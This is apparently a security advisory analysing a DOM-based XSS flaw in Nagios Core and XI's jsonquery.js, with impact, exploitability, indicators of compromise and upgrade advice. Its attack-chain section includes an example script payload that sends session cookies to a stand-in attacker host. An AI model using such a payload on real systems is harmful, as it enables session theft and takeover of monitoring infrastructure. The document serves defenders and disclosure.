CVE-2026-48552: 
Nagios vulnerability analysis and mitigation

CVE-2026-48552 is a DOM-based cross-site scripting (XSS) vulnerability in Nagios Core and Nagios XI affecting the jsonquery.js file. Unencoded JSON string values reflected from stored fields are inserted into the DOM without sanitization, enabling attackers to execute arbitrary JavaScript in a victim's browser. Affected versions include Nagios Core before 4.5.14 and Nagios XI before 2026R1.7. The vulnerability was published on August 12, 2026, with a CVSS v3.1 score of 5.4 (Medium) and a CVSS v4.0 score of 5.1 (Medium) (GitHub Advisory, Feedly).

The root cause is improper neutralization of user-controllable input during web page generation (CWE-79), specifically in jsonquery.js. JSON string values sourced from stored fields are reflected into the DOM without HTML encoding or sanitization, allowing injected script content to execute in the browser context. Exploitation requires the attacker to have low-level authenticated access and to induce a victim user to interact with a crafted link or page (passive user interaction). The fix was credited to researcher Zach Hanley of Horizon3.ai and was addressed in Nagios Core 4.5.14 alongside related fixes for notification macros, reflected XSS in cmd.cgi, and CSRF cookie vulnerabilities (Nagios Core Changelog, GitHub Advisory).

Successful exploitation allows an authenticated attacker to execute arbitrary JavaScript in the victim's browser, enabling session token theft, unauthorized actions performed on behalf of the victim, and modification of page content within the Nagios web interface. Because Nagios Core and XI are typically used to monitor critical infrastructure, session hijacking could allow an attacker to pivot into monitoring data, alter alert configurations, or suppress notifications. Availability is not directly impacted, but confidentiality and integrity of the subsequent system context are both rated as low (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the time of disclosure. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and NVD SSVC assessment indicates exploitation is currently "none" and the vulnerability is not automatable. The EPSS score is approximately 0.165% (6th percentile), reflecting a low near-term exploitation probability (GitHub Advisory, Feedly).

1. Reconnaissance: Identify Nagios Core or Nagios XI instances running versions prior to 4.5.14 or 2026R1.7, respectively, accessible via the web interface.
2. Obtain low-privilege access: Authenticate to the Nagios web interface with any valid low-privilege account.
3. Identify vulnerable stored field: Locate a stored field processed by jsonquery.js that accepts user-controlled input (e.g., host/service descriptions, custom variables, or similar fields rendered via JSON queries).
4. Inject malicious payload: Store a crafted value containing an XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the vulnerable field, which will be reflected unencoded into the DOM when the page is rendered.
5. Deliver to victim: Craft a link or page that causes a higher-privileged victim user to load the affected Nagios page containing the injected payload.
6. Harvest results: The victim's browser executes the injected JavaScript, potentially exfiltrating session cookies or performing actions within the Nagios interface on behalf of the victim (GitHub Advisory, Nagios Core Changelog).

• Network: Unexpected outbound HTTP requests from a user's browser to external domains shortly after accessing Nagios pages; unusual GET/POST requests to attacker-controlled infrastructure containing encoded cookie or session data.
• Logs: Nagios web server access logs showing requests to pages that render jsonquery.js output with anomalous or encoded characters in stored field values (e.g., %3Cscript%3E, <script>, javascript:).
• File System / Configuration: Stored Nagios object fields (host/service descriptions, custom variables) containing unexpected HTML or JavaScript content such as <script>, onerror=, or javascript: URI schemes.
• Browser/Session: Reports of unexpected logouts, session anomalies, or unauthorized configuration changes in Nagios performed under a legitimate user's account.

Upgrade Nagios Core to version 4.5.14 or later, and Nagios XI to version 2026R1.7 or later, which include fixes for the jsonquery.js DOM-based XSS as well as related vulnerabilities in notification macros, cmd.cgi, and CSRF cookies. As a compensating control, implement a strict Content Security Policy (CSP) header on the Nagios web interface to restrict inline script execution. Additionally, restrict access to the Nagios web interface to trusted internal networks where possible, and educate users about phishing and social engineering tactics that could be used to deliver malicious links (Nagios Core Changelog, GitHub Advisory).

The vulnerability was discovered and reported by Zach Hanley of Horizon3.ai, who is credited in the Nagios Core 4.5.14 changelog for identifying multiple security issues addressed in that release, including the jsonquery.js flaw, notification macro vulnerabilities, reflected XSS in cmd.cgi, and CSRF cookie issues. No significant broader media coverage or notable community discussion has been identified at this time (Nagios Core Changelog).